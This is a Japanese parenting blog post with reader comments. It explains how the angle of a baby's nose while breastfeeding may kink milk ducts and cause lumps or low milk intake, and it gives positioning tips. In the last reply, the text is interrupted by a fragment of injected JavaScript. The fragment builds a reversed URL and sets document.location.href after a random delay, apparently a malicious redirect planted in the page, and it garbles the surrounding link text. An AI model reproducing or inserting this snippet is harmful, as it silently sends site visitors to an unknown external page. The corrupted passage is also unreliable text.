しこりと母乳不足を一度に解消するポイント(図解)
母乳不足と、しょっちゅうできるしこりに悩むお母さんは少なくありませんが、そもそもしこりとは「母乳が余っている状態」ともいえるので、母乳不足と矛盾するのです。
なので、しこりは「母乳はたくさん溜まっているけど、上手く飲めていないサイン」と考えて、根本解決を目指します。
赤ちゃんの鼻の向きに注目!
WHOガイドラインには、授乳のポジショニングのコツとして
“赤ちゃんの顔が胸の正面に向くように、赤ちゃんの鼻の向きは乳頭とまっすぐ向かい合うようにする”
と書いてあります。
これはどういうことかを図にしてみたいと思います。
まず、「鼻の向きが乳頭と向かい合う」を、おっぱいに吸着しようとする赤ちゃんの頭頂部から見下ろした模式図で示します。
赤ちゃんの鼻の向きが乳頭と向かい合っています。この状態が良いということですね。
では次に、良くない鼻の向きの例を示します。
赤ちゃんの鼻の向きが、乳頭と向かい合っていません。
つまり、乳頭に対して赤ちゃんの顔が右や左にねじれていると、良くないということなんですね。
顔の向きがねじれた場合、前回の記事で説明したように、乳管が折れ曲がってしまうことが考えられます。
乳管が曲がると、母乳の流れが悪くなることで、しこりや哺乳不足のリスクが高まります→※最も短時間・少ない回数で母乳を効率よく飲むには
たとえば、乳房の右側にしこりができやすい場合、赤ちゃんの鼻の向きがこんな風に曲がっている可能性があります。
しこり改善と予防のポイント
詰まりや乳腺炎を繰り返す場合、しこりができやすい方に赤ちゃんの鼻を向けるようなイメージでポジショニングを調整すると、根本的な解決になるかもしれません。
- 乳房の側面にしこりができやすい場合
※この図は分かりやすくするためにおおげさに描いてあるので、鼻の向きを曲げすぎて今度は別のところにしこりができないように、やりすぎに注意してください。基本の鼻の向きは「乳頭と向かい合う(図14)」です。
乳頭と鼻の向きがよく分からない方は、縦抱きで授乳すると、真上から見て確認できるので分かりやすいかもしれません。
- 乳房の上側にしこりができやすい場合
「鼻が下を向いている=赤ちゃんがうつむき気味であごが乳房から離れている」と、効率よく哺乳できないので、「鼻が上を向くように=お母さんから顔が良く見え、あごが乳房に触れるように」吸着させます。
しこり対策の優先順位を整理!
一般的に、乳房の上部や側面にしこりができやすいのは、赤ちゃんのポジショニングが崩れて乳管が曲がりやすいからかもしれません。
「あご側は吸てつする力が強いから、しこりが解消しやすい」説は、実際は「あご側の乳管はどんなポジショニングでも曲がりにくい」ためじゃないかと、現時点では考えています。
しこりは体質だとあきらめる前に、厳しい食事制限や高額なマッサージに通う前に、まずはポジショニングを工夫してみてはいかがでしょうか?
母乳の作られすぎで、しこり・乳腺炎になってしまう場合は→※母乳過多の根本解決法
参照記事
ポジショニングは母乳育児を楽にする必須のスキル!
哺乳不足・しこり・詰まり・乳腺炎などのトラブルを根本解決するためには、授乳スキルが重要です。タグ#ポジショニングからチェックしておきましょう。
授乳のタイミングなどについては【母乳育児が軌道に乗るやり方・疑問・悩み】が役に立ちます。
2017/5/13更新
コメント
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色々な方向から飲ませるとよい、というのはこういうことなんでしょうね。乳腺の図解、納得しました。
自分の経験では、色々なポジショニングで飲ませようとしても、赤ちゃんがいやがって難しかったので、飲ませる時しこりのできた部分を内側にむかってぐっと押している、というのが効果がありました。無理矢理乳腺をまっすぐにするっていう感じですかね。
確かに、【赤ちゃんのポジショニング】を変えようとするのは、難しかったり時間がかかったりする場合もありそうです。
それはつまり、「赤ちゃんはポジショニングを体得できる」という証拠でもあるかもしれません。
お母さんのポジショニングを変える時に、赤ちゃんのポジショニングまで大きく変わらないように心がけた方がいいのかもしれませんね→※授乳の姿勢はお母さんと赤ちゃんに分けて考えるべし
こちらのコメントは、以下に移動させていただきました。
海外移住するため母乳外来に頼らず解決できるようになりたい(3ヶ月)
●キーワード
セルフケアできるようになりたい
白斑やしこりがよくできる
ポジショニングが難しい
左右差がある
母乳が溜まっている部分に痛みなどのトラブルが生じるかどうかの境目は、「乳腺に炎症が起きるような条件がそろっているかどうか」じゃないかと考えています。
乳腺に炎症が起きるきっかけとしてよくある例としては、「過剰に母乳が溜まったり、外傷を受けたりして、乳腺組織が傷つくこと」などがあります。
ありがとうございます。
では、母乳が溜まっているのが問題ないとしても、炎症を防ぐためには、なるべく溜めておかない方がいいんですね…。過剰な感じがしたと思ったら不足感もあったりして、なかなか生産量と赤ちゃんが飲む量が一致しませんが、いろんな記事を参考にがんばってみます。
>炎症を防ぐためには、なるべく溜めておかない方がいい
正確には、「過剰に溜まること」はできるだけ避けたい、という感じです。
生理学的には、乳房が空の状態をキープすることは不可能だし、目指す必要もありません。
過剰な感じと不足感を両方感じるということは、無意識に迷信を信じている可能性が高いので、おっしゃる通り、いろんな記事を参考にされることが、不安とトラブルを解消するための近道かもしれません。
大変参考にさせていただいています。
アドバイスください!
生後3ヶ月になる男の子を育てています。
1.右の下のしこりがとれません。フットボール抱きか縦抱きで授乳しています。助産院の先生には搾乳でカバーと言われましたが、搾乳しにくい腺のようで消えません。どのように対処すべきでしょうか?
2.生後1ヶ月頃より左右とも詰まりを繰り返し、特に左は5腺程しかないのに、同時に3腺詰まったり開通を繰り返していました。2.5ヶ月過ぎ頃よりようやく詰まることはなくなってきたのですが、左の出が明らかに悪くなりました。5分程飲んだら出なくなる状態です。ここからまた母乳量は増えるでしょうか?ミルクは日によって90から200程足しています。
よろしくお願いします!
繰り返すしこりと母乳不足感に悩んでいらっしゃるんですね。
コメントからは、母乳不足より、むしろ母乳過多なのかな?と感じたのですが、思い当たることはないかチェックしてみてはいかがでしょうか?
対処する優先順位としては、
①母乳過多の改善
②ポジショニングの改善
③それでもしこりができるなら、しこりの原因の見極め
という感じでしょうか。
同時に、母乳不足感から気になる記事を探して読んでいただくと、いろいろな不安が解決していくと思います。
「五分経つと母乳が出なくなる」とおっしゃっていることから、tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocin-reflex” target=”_blank”>射乳反射の情報もお役に立てると思います。
搾乳するより、ポジショニングを工夫してお子さんに飲んでもらう方が効率よく除去できると思います!